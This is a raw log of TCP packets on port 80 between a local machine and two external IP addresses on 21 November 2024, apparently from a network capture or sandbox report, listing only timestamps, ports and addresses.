Nov 21, 2024 14:11:24.797274113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.797316074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.797389984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.798336983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.801815987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.801999092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.802014112 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.802079916 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.802365065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.802431107 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.802494049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.802800894 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.803225994 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.803332090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.803472996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.803544998 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.804181099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.804250002 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.804483891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.804574013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.805128098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.805165052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.805191994 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.805234909 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.806082010 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.806189060 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.806221008 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.806390047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.807054996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.807154894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.807163954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.807249069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.807955027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.808017015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.808029890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.808146954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.808857918 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.809010983 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.809077024 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.809783936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.809910059 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.809942007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.810204983 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.810713053 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.810771942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.810818911 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.811635971 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.811662912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.811748028 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.811781883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.811841965 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.812580109 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.812647104 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.812690973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.812757015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.813513041 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.813545942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.813676119 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.814454079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.814553022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.814596891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.814634085 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.815511942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.815525055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.815567970 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.816298962 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.816370010 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.816370010 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.816459894 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.817192078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.817286968 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.817358971 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.817428112 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.818154097 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.818211079 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.818243980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.818304062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.819040060 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.819166899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.819225073 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.819984913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.820080042 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.820101976 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.820240021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.820926905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.821039915 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.821073055 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.821813107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.821846008 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.821901083 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.821923971 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.821980953 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.822777987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.822846889 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.822859049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.822921038 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.823689938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.823748112 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.823791027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.823859930 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.824611902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.824706078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.824738026 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.824774981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.825521946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.825587034 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.825625896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.825683117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.826453924 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.826524973 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.826562881 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.826668978 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.827507019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.827519894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.827569962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.827569962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.828315973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.828385115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.828396082 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.828457117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.829209089 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.829318047 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.829335928 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.829418898 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.830168009 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.830229044 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.830351114 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.830420017 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.831110954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.831139088 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.831171989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.831216097 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.832004070 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.832072020 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.832101107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.832268000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.832943916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.832971096 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.833002090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.833045959 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.833986044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.834060907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.834062099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.834129095 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.834824085 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.834892988 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.834949017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.835011959 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.835840940 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.835901022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.835921049 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.835963011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.836611986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.836698055 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.836716890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.836786032 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.837558031 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.837619066 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.837673903 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.837737083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.838466883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.838541985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.838573933 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.838681936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.839389086 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.839468002 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.839488029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.839554071 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.840301037 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.840372086 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.840425014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.840493917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.841217995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.841289997 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.841315031 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.841357946 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.842118025 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.842187881 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.842187881 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.842256069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.843065023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.843115091 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.843132973 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.843182087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.843986034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.844058990 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.844079971 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.844160080 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.844878912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.845007896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.845041037 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.845088959 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.845762014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.845846891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.845853090 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.845918894 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.846662045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.846724987 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.846764088 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.846827030 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.847570896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.847640991 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.847656012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.847721100 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.848468065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.848606110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.848613977 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.848669052 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.849436045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.849509954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.849512100 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.849576950 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.850266933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.850338936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.851862907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.930986881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.931050062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.931262016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.931536913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.931611061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.931691885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.932666063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.932768106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.933039904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.933792114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.933923006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.933967113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.934919119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.935044050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.935112953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.936094999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.936187983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.936269045 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.937191010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.937407970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.937644958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.938361883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.938477039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.938836098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.939485073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.939558983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.939610004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.940593004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.940691948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.940788984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.941737890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.941867113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.942040920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.942920923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.943082094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.943274021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.943998098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.944111109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.944278955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.945200920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.945280075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.946286917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.946326971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.946403980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.946497917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.947526932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.947562933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.947734118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.948559046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.948652029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.948856115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.949733973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.949769974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.950057983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.950830936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.950894117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.951062918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.951996088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.952049017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.952289104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.953149080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.953183889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.953353882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.954226971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.954345942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.954397917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.955419064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.955709934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.955806971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.956528902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.956547022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.956631899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.957655907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.957748890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.957808971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.958787918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.958900928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.959017992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.959920883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.959984064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.960022926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.961077929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.961256981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.961365938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.962184906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.962306023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.963565111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.963576078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.963773012 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.964463949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.964565039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.965189934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.965637922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.965735912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.965980053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.966751099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.966861010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.966979980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.967900991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.968002081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.968200922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.969028950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.969086885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.969561100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.970175028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.970195055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.970339060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.971280098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.971391916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.971784115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.972420931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.972507954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.972595930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.973620892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.973649979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.973841906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.974730015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.974785089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.974946022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.975897074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.975966930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.976208925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.977010012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.977140903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.977300882 CET	49903	80	192.168.2.6	34.116.198.130
